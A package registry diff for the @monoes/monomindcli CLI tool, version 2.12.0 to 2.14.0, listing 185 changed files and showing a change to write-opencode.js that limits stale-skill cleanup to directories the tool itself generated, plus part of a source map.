@monoes/monomindcli 2.12.0 → 2.14.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (185) hide show
  1. package/.claude/skills/mastermind/SKILL.md +1 -15
  2. package/README.md +1 -1
  3. package/dist/src/commands/doctor-mcp-probe.d.ts +48 -0
  4. package/dist/src/commands/doctor-mcp-probe.d.ts.map +1 -0
  5. package/dist/src/commands/doctor-mcp-probe.js +205 -0
  6. package/dist/src/commands/doctor-mcp-probe.js.map +1 -0
  7. package/dist/src/commands/doctor-monoes-checks.d.ts +1 -0
  8. package/dist/src/commands/doctor-monoes-checks.d.ts.map +1 -1
  9. package/dist/src/commands/doctor-monoes-checks.js +96 -34
  10. package/dist/src/commands/doctor-monoes-checks.js.map +1 -1
  11. package/dist/src/commands/doctor-project-checks.d.ts +31 -1
  12. package/dist/src/commands/doctor-project-checks.d.ts.map +1 -1
  13. package/dist/src/commands/doctor-project-checks.js +109 -4
  14. package/dist/src/commands/doctor-project-checks.js.map +1 -1
  15. package/dist/src/commands/doctor.d.ts.map +1 -1
  16. package/dist/src/commands/doctor.js +21 -3
  17. package/dist/src/commands/doctor.js.map +1 -1
  18. package/dist/src/commands/init.d.ts.map +1 -1
  19. package/dist/src/commands/init.js +29 -0
  20. package/dist/src/commands/init.js.map +1 -1
  21. package/dist/src/commands/mcp.d.ts.map +1 -1
  22. package/dist/src/commands/mcp.js +4 -3
  23. package/dist/src/commands/mcp.js.map +1 -1
  24. package/dist/src/commands/org-observe.d.ts.map +1 -1
  25. package/dist/src/commands/org-observe.js +14 -0
  26. package/dist/src/commands/org-observe.js.map +1 -1
  27. package/dist/src/commands/org.d.ts.map +1 -1
  28. package/dist/src/commands/org.js +21 -4
  29. package/dist/src/commands/org.js.map +1 -1
  30. package/dist/src/commands/ui.d.ts.map +1 -1
  31. package/dist/src/commands/ui.js +4 -0
  32. package/dist/src/commands/ui.js.map +1 -1
  33. package/dist/src/init/claudemd-generator.d.ts.map +1 -1
  34. package/dist/src/init/claudemd-generator.js +2 -1
  35. package/dist/src/init/claudemd-generator.js.map +1 -1
  36. package/dist/src/init/copy-assets.d.ts.map +1 -1
  37. package/dist/src/init/copy-assets.js +56 -18
  38. package/dist/src/init/copy-assets.js.map +1 -1
  39. package/dist/src/init/executor.d.ts.map +1 -1
  40. package/dist/src/init/executor.js +9 -1
  41. package/dist/src/init/executor.js.map +1 -1
  42. package/dist/src/init/mcp-generator.d.ts.map +1 -1
  43. package/dist/src/init/mcp-generator.js +3 -3
  44. package/dist/src/init/mcp-generator.js.map +1 -1
  45. package/dist/src/init/never-commit.d.ts +39 -0
  46. package/dist/src/init/never-commit.d.ts.map +1 -0
  47. package/dist/src/init/never-commit.js +15 -0
  48. package/dist/src/init/never-commit.js.map +1 -0
  49. package/dist/src/init/shared.d.ts +74 -1
  50. package/dist/src/init/shared.d.ts.map +1 -1
  51. package/dist/src/init/shared.js +166 -0
  52. package/dist/src/init/shared.js.map +1 -1
  53. package/dist/src/init/types.d.ts +11 -0
  54. package/dist/src/init/types.d.ts.map +1 -1
  55. package/dist/src/init/types.js.map +1 -1
  56. package/dist/src/init/upgrade.d.ts.map +1 -1
  57. package/dist/src/init/upgrade.js +1 -0
  58. package/dist/src/init/upgrade.js.map +1 -1
  59. package/dist/src/init/write-kimicode.d.ts.map +1 -1
  60. package/dist/src/init/write-kimicode.js +13 -9
  61. package/dist/src/init/write-kimicode.js.map +1 -1
  62. package/dist/src/init/write-opencode.d.ts.map +1 -1
  63. package/dist/src/init/write-opencode.js +44 -2
  64. package/dist/src/init/write-opencode.js.map +1 -1
  65. package/dist/src/init/write-runtime-config.d.ts +2 -0
  66. package/dist/src/init/write-runtime-config.d.ts.map +1 -1
  67. package/dist/src/init/write-runtime-config.js +65 -38
  68. package/dist/src/init/write-runtime-config.js.map +1 -1
  69. package/dist/src/mastermind/manifest-data.d.ts.map +1 -1
  70. package/dist/src/mastermind/manifest-data.js +14 -0
  71. package/dist/src/mastermind/manifest-data.js.map +1 -1
  72. package/dist/src/mcp/monoes-mcp-entry.mjs +86 -0
  73. package/dist/src/mcp-tools/terminal-tools.d.ts.map +1 -1
  74. package/dist/src/mcp-tools/terminal-tools.js +52 -9
  75. package/dist/src/mcp-tools/terminal-tools.js.map +1 -1
  76. package/dist/src/memory/memory-bridge.d.ts +84 -3
  77. package/dist/src/memory/memory-bridge.d.ts.map +1 -1
  78. package/dist/src/memory/memory-bridge.js +215 -17
  79. package/dist/src/memory/memory-bridge.js.map +1 -1
  80. package/dist/src/orgrt/agent-runner.d.ts +38 -0
  81. package/dist/src/orgrt/agent-runner.d.ts.map +1 -1
  82. package/dist/src/orgrt/agent-runner.js +47 -0
  83. package/dist/src/orgrt/agent-runner.js.map +1 -1
  84. package/dist/src/orgrt/checkpoint.d.ts +12 -1
  85. package/dist/src/orgrt/checkpoint.d.ts.map +1 -1
  86. package/dist/src/orgrt/checkpoint.js +15 -6
  87. package/dist/src/orgrt/checkpoint.js.map +1 -1
  88. package/dist/src/orgrt/completion-gate.d.ts +74 -0
  89. package/dist/src/orgrt/completion-gate.d.ts.map +1 -1
  90. package/dist/src/orgrt/completion-gate.js +45 -0
  91. package/dist/src/orgrt/completion-gate.js.map +1 -1
  92. package/dist/src/orgrt/cost-tier.d.ts +144 -0
  93. package/dist/src/orgrt/cost-tier.d.ts.map +1 -0
  94. package/dist/src/orgrt/cost-tier.js +183 -0
  95. package/dist/src/orgrt/cost-tier.js.map +1 -0
  96. package/dist/src/orgrt/cross-org.d.ts.map +1 -1
  97. package/dist/src/orgrt/cross-org.js +14 -0
  98. package/dist/src/orgrt/cross-org.js.map +1 -1
  99. package/dist/src/orgrt/daemon.d.ts +12 -1
  100. package/dist/src/orgrt/daemon.d.ts.map +1 -1
  101. package/dist/src/orgrt/daemon.js +216 -49
  102. package/dist/src/orgrt/daemon.js.map +1 -1
  103. package/dist/src/orgrt/decisions.d.ts +14 -2
  104. package/dist/src/orgrt/decisions.d.ts.map +1 -1
  105. package/dist/src/orgrt/decisions.js +216 -10
  106. package/dist/src/orgrt/decisions.js.map +1 -1
  107. package/dist/src/orgrt/file-roots.d.ts +7 -0
  108. package/dist/src/orgrt/file-roots.d.ts.map +1 -1
  109. package/dist/src/orgrt/file-roots.js +38 -1
  110. package/dist/src/orgrt/file-roots.js.map +1 -1
  111. package/dist/src/orgrt/forwarder.d.ts.map +1 -1
  112. package/dist/src/orgrt/forwarder.js +16 -2
  113. package/dist/src/orgrt/forwarder.js.map +1 -1
  114. package/dist/src/orgrt/idle-deadline.d.ts +74 -1
  115. package/dist/src/orgrt/idle-deadline.d.ts.map +1 -1
  116. package/dist/src/orgrt/idle-deadline.js +52 -2
  117. package/dist/src/orgrt/idle-deadline.js.map +1 -1
  118. package/dist/src/orgrt/loadouts.d.ts +38 -0
  119. package/dist/src/orgrt/loadouts.d.ts.map +1 -0
  120. package/dist/src/orgrt/loadouts.js +129 -0
  121. package/dist/src/orgrt/loadouts.js.map +1 -0
  122. package/dist/src/orgrt/mailbox.d.ts +17 -1
  123. package/dist/src/orgrt/mailbox.d.ts.map +1 -1
  124. package/dist/src/orgrt/mailbox.js +50 -3
  125. package/dist/src/orgrt/mailbox.js.map +1 -1
  126. package/dist/src/orgrt/policy.d.ts +42 -2
  127. package/dist/src/orgrt/policy.d.ts.map +1 -1
  128. package/dist/src/orgrt/policy.js +53 -8
  129. package/dist/src/orgrt/policy.js.map +1 -1
  130. package/dist/src/orgrt/prompt-vars.d.ts +11 -0
  131. package/dist/src/orgrt/prompt-vars.d.ts.map +1 -0
  132. package/dist/src/orgrt/prompt-vars.js +49 -0
  133. package/dist/src/orgrt/prompt-vars.js.map +1 -0
  134. package/dist/src/orgrt/questions.d.ts +22 -1
  135. package/dist/src/orgrt/questions.d.ts.map +1 -1
  136. package/dist/src/orgrt/questions.js +24 -3
  137. package/dist/src/orgrt/questions.js.map +1 -1
  138. package/dist/src/orgrt/review-packet.d.ts +29 -0
  139. package/dist/src/orgrt/review-packet.d.ts.map +1 -0
  140. package/dist/src/orgrt/review-packet.js +67 -0
  141. package/dist/src/orgrt/review-packet.js.map +1 -0
  142. package/dist/src/orgrt/role-sandbox.d.ts.map +1 -1
  143. package/dist/src/orgrt/role-sandbox.js +16 -3
  144. package/dist/src/orgrt/role-sandbox.js.map +1 -1
  145. package/dist/src/orgrt/session-ledger.d.ts +61 -0
  146. package/dist/src/orgrt/session-ledger.d.ts.map +1 -0
  147. package/dist/src/orgrt/session-ledger.js +113 -0
  148. package/dist/src/orgrt/session-ledger.js.map +1 -0
  149. package/dist/src/orgrt/session.d.ts +45 -5
  150. package/dist/src/orgrt/session.d.ts.map +1 -1
  151. package/dist/src/orgrt/session.js +384 -27
  152. package/dist/src/orgrt/session.js.map +1 -1
  153. package/dist/src/orgrt/task-dag.d.ts +34 -1
  154. package/dist/src/orgrt/task-dag.d.ts.map +1 -1
  155. package/dist/src/orgrt/task-dag.js +58 -7
  156. package/dist/src/orgrt/task-dag.js.map +1 -1
  157. package/dist/src/orgrt/tool-spill.d.ts +94 -0
  158. package/dist/src/orgrt/tool-spill.d.ts.map +1 -0
  159. package/dist/src/orgrt/tool-spill.js +180 -0
  160. package/dist/src/orgrt/tool-spill.js.map +1 -0
  161. package/dist/src/orgrt/types.d.ts +138 -0
  162. package/dist/src/orgrt/types.d.ts.map +1 -1
  163. package/dist/src/orgrt/types.js +148 -0
  164. package/dist/src/orgrt/types.js.map +1 -1
  165. package/dist/src/platform-adapters/renderers/mcp.d.ts +20 -2
  166. package/dist/src/platform-adapters/renderers/mcp.d.ts.map +1 -1
  167. package/dist/src/platform-adapters/renderers/mcp.js +25 -5
  168. package/dist/src/platform-adapters/renderers/mcp.js.map +1 -1
  169. package/dist/src/platform-adapters/renderers/skills.d.ts +0 -6
  170. package/dist/src/platform-adapters/renderers/skills.d.ts.map +1 -1
  171. package/dist/src/platform-adapters/renderers/skills.js +12 -22
  172. package/dist/src/platform-adapters/renderers/skills.js.map +1 -1
  173. package/dist/src/protocol-capabilities.d.ts +2 -1
  174. package/dist/src/protocol-capabilities.d.ts.map +1 -1
  175. package/dist/src/protocol-capabilities.js +2 -1
  176. package/dist/src/protocol-capabilities.js.map +1 -1
  177. package/dist/src/ui/dashboard.html +457 -164
  178. package/dist/src/ui/org-hil.mjs +276 -0
  179. package/dist/src/ui/org-runtime.mjs +350 -0
  180. package/dist/src/ui/orgs.html +22 -4
  181. package/dist/src/ui/routes-monoes.mjs +28 -3
  182. package/dist/src/ui/routes-org.mjs +290 -541
  183. package/dist/src/ui/server.mjs +185 -19
  184. package/dist/tsconfig.tsbuildinfo +1 -1
  185. package/package.json +7 -6
@@ -4,7 +4,7 @@
4
4
  import * as fs from 'node:fs';
5
5
  import * as path from 'node:path';
6
6
  import { convertAgentMd, convertCommandMd, convertSkillMd, generateAgentsMd, generateHooksPlugin, generateOpencodeJson, generateStatusCommand, opencodeCommandFilename, } from './opencode-generator.js';
7
- import { atomicWriteFile, extractFmName, isLikelyUserFile, isSafeConversionTarget, mergeGeneratedBlock, walkMdFiles, } from './shared.js';
7
+ import { atomicWriteFile, extractFmName, isLikelyUserFile, isSafeConversionTarget, listFilesRecursive, mergeGeneratedBlock, previouslyGenerated, recordGenerated, retireGeneratedEntry, walkMdFiles, } from './shared.js';
8
8
  /**
9
9
  * Write opencode artifacts. ADDITIVE — only invoked when
10
10
  * `components.opencode` is set. Never touches .claude/ or .gemini/.
@@ -117,8 +117,9 @@ export async function writeOpencodeFiles(targetDir, options, result) {
117
117
  }
118
118
  // Skills → .opencode/skills/<name>/SKILL.md (same shape)
119
119
  const srcSkills = path.join(claudeDir, 'skills');
120
+ const destSkillsRoot = path.join(targetDir, '.opencode', 'skills');
121
+ const writtenOpencodeSkills = new Set();
120
122
  if (fs.existsSync(srcSkills)) {
121
- const destSkillsRoot = path.join(targetDir, '.opencode', 'skills');
122
123
  if (isSafeConversionTarget(destSkillsRoot, claudeDir, result, '.opencode/skills')) {
123
124
  for (const rel of walkMdFiles(srcSkills)) {
124
125
  // rel looks like "<skillName>/SKILL.md"
@@ -132,10 +133,51 @@ export async function writeOpencodeFiles(targetDir, options, result) {
132
133
  const destDir = path.join(destSkillsRoot, skillName);
133
134
  fs.mkdirSync(destDir, { recursive: true });
134
135
  atomicWriteFile(path.join(destDir, 'SKILL.md'), converted);
136
+ writtenOpencodeSkills.add(skillName);
135
137
  skillCount++;
136
138
  }
137
139
  }
138
140
  }
141
+ // o-38 revision: .opencode/skills is a DEFAULT mirror (a plain `init`
142
+ // reaches components.opencode=true — verified live). It is regenerated
143
+ // fresh from .claude/skills's CURRENT (already-retired) state on every
144
+ // run, so "not written this run" establishes staleness — but ONLY for
145
+ // entries this mirror generated. It says nothing about a hand-written
146
+ // .opencode/skills/<name>/SKILL.md that never came from .claude at all,
147
+ // and since converted output is always exactly one SKILL.md, such a file
148
+ // is byte-shaped identically to a genuinely-retired entry. Sweeping on
149
+ // staleness alone therefore deleted user-authored skills outright — the
150
+ // same defect class this item exists to fix, one mirror over. So the
151
+ // sweep is gated on provenance like the other three (.claude at
152
+ // copy-assets.ts, .kimi-code at write-kimicode.ts), and an absent
153
+ // manifest section means delete nothing, per readInitManifest's contract.
154
+ const priorOpencodeSkills = previouslyGenerated(targetDir, 'opencodeSkills');
155
+ if (fs.existsSync(destSkillsRoot)) {
156
+ for (const existing of fs.readdirSync(destSkillsRoot)) {
157
+ if (writtenOpencodeSkills.has(existing))
158
+ continue;
159
+ if (!priorOpencodeSkills.has(existing))
160
+ continue;
161
+ const stalePath = path.join(destSkillsRoot, existing);
162
+ const extraFiles = [...listFilesRecursive(stalePath)].filter((f) => f !== 'SKILL.md');
163
+ if (extraFiles.length > 0) {
164
+ retireGeneratedEntry(targetDir, `opencode-skills/${existing}`, stalePath, result);
165
+ }
166
+ else {
167
+ fs.rmSync(stalePath, { recursive: true, force: true });
168
+ }
169
+ }
170
+ }
171
+ // Retained entries stay recorded: a prior entry left untouched this run
172
+ // (not regenerated, but still on disk) must keep its provenance, or the
173
+ // next run would read it as user-authored and never clean it up.
174
+ if (skillCount > 0 || priorOpencodeSkills.size > 0) {
175
+ const retainedOpencodeSkills = [...priorOpencodeSkills].filter((n) => !writtenOpencodeSkills.has(n) && fs.existsSync(path.join(destSkillsRoot, n)));
176
+ recordGenerated(targetDir, 'opencodeSkills', [
177
+ ...writtenOpencodeSkills,
178
+ ...retainedOpencodeSkills,
179
+ ]);
180
+ }
139
181
  if (agentCount)
140
182
  result.created.files.push(`.opencode/agent/ (${agentCount} agents)`);
141
183
  if (commandCount)
@@ -1 +1 @@
1
- {"version":3,"file":"write-opencode.js","sourceRoot":"","sources":["../../../src/init/write-opencode.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"write-opencode.js","sourceRoot":"","sources":["../../../src/init/write-opencode.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,KAAK,EAAE,MAAM,SAAS,CAAC;AAC9B,OAAO,KAAK,IAAI,MAAM,WAAW,CAAC;AAClC,OAAO,EACL,cAAc,EACd,gBAAgB,EAChB,cAAc,EACd,gBAAgB,EAChB,mBAAmB,EACnB,oBAAoB,EACpB,qBAAqB,EACrB,uBAAuB,GACxB,MAAM,yBAAyB,CAAC;AACjC,OAAO,EACL,eAAe,EACf,aAAa,EACb,gBAAgB,EAChB,sBAAsB,EACtB,kBAAkB,EAClB,mBAAmB,EACnB,mBAAmB,EACnB,eAAe,EACf,oBAAoB,EACpB,WAAW,GACZ,MAAM,aAAa,CAAC;AAGrB;;;;;;;GAOG;AACH,MAAM,CAAC,KAAK,UAAU,kBAAkB,CACtC,SAAiB,EACjB,OAAoB,EACpB,MAAkB;IAElB,4EAA4E;IAC5E,uEAAuE;IACvE,MAAM,gBAAgB,GAAG,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,eAAe,CAAC,CAAC;IAC/D,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,gBAAgB,CAAC,IAAI,OAAO,CAAC,KAAK,EAAE,CAAC;QACtD,eAAe,CAAC,gBAAgB,EAAE,oBAAoB,CAAC,OAAO,CAAC,CAAC,CAAC;QACjE,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;IAC7C,CAAC;SAAM,CAAC;QACN,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,eAAe,CAAC,CAAC;IACvC,CAAC;IAED,yEAAyE;IACzE,yEAAyE;IACzE,yEAAyE;IACzE,2EAA2E;IAC3E,yEAAyE;IACzE,yEAAyE;IACzE,oEAAoE;IACpE,oEAAoE;IACpE,MAAM,YAAY,GAAG,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,WAAW,CAAC,CAAC;IACvD,MAAM,cAAc,GAAG,EAAE,CAAC,UAAU,CAAC,YAAY,CAAC,CAAC;IACnD,IAAI,CAAC,cAAc,IAAI,OAAO,CAAC,KAAK,EAAE,CAAC;QACrC,MAAM,QAAQ,GAAG,cAAc,CAAC,CAAC,CAAC,EAAE,CAAC,YAAY,CAAC,YAAY,EAAE,OAAO,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;QAC9E,eAAe,CAAC,YAAY,EAAE,mBAAmB,CAAC,QAAQ,EAAE,WAAW,EAAE,gBAAgB,EAAE,CAAC,CAAC,CAAC;QAC9F,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,WAAW,CAAC,CAAC;IACzC,CAAC;SAAM,CAAC;QACN,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,WAAW,CAAC,CAAC;IACnC,CAAC;IAED,oEAAoE;IACpE,iFAAiF;IACjF,MAAM,SAAS,GAAG,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,WAAW,EAAE,SAAS,CAAC,CAAC;IAC/D,MAAM,UAAU,GAAG,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,mBAA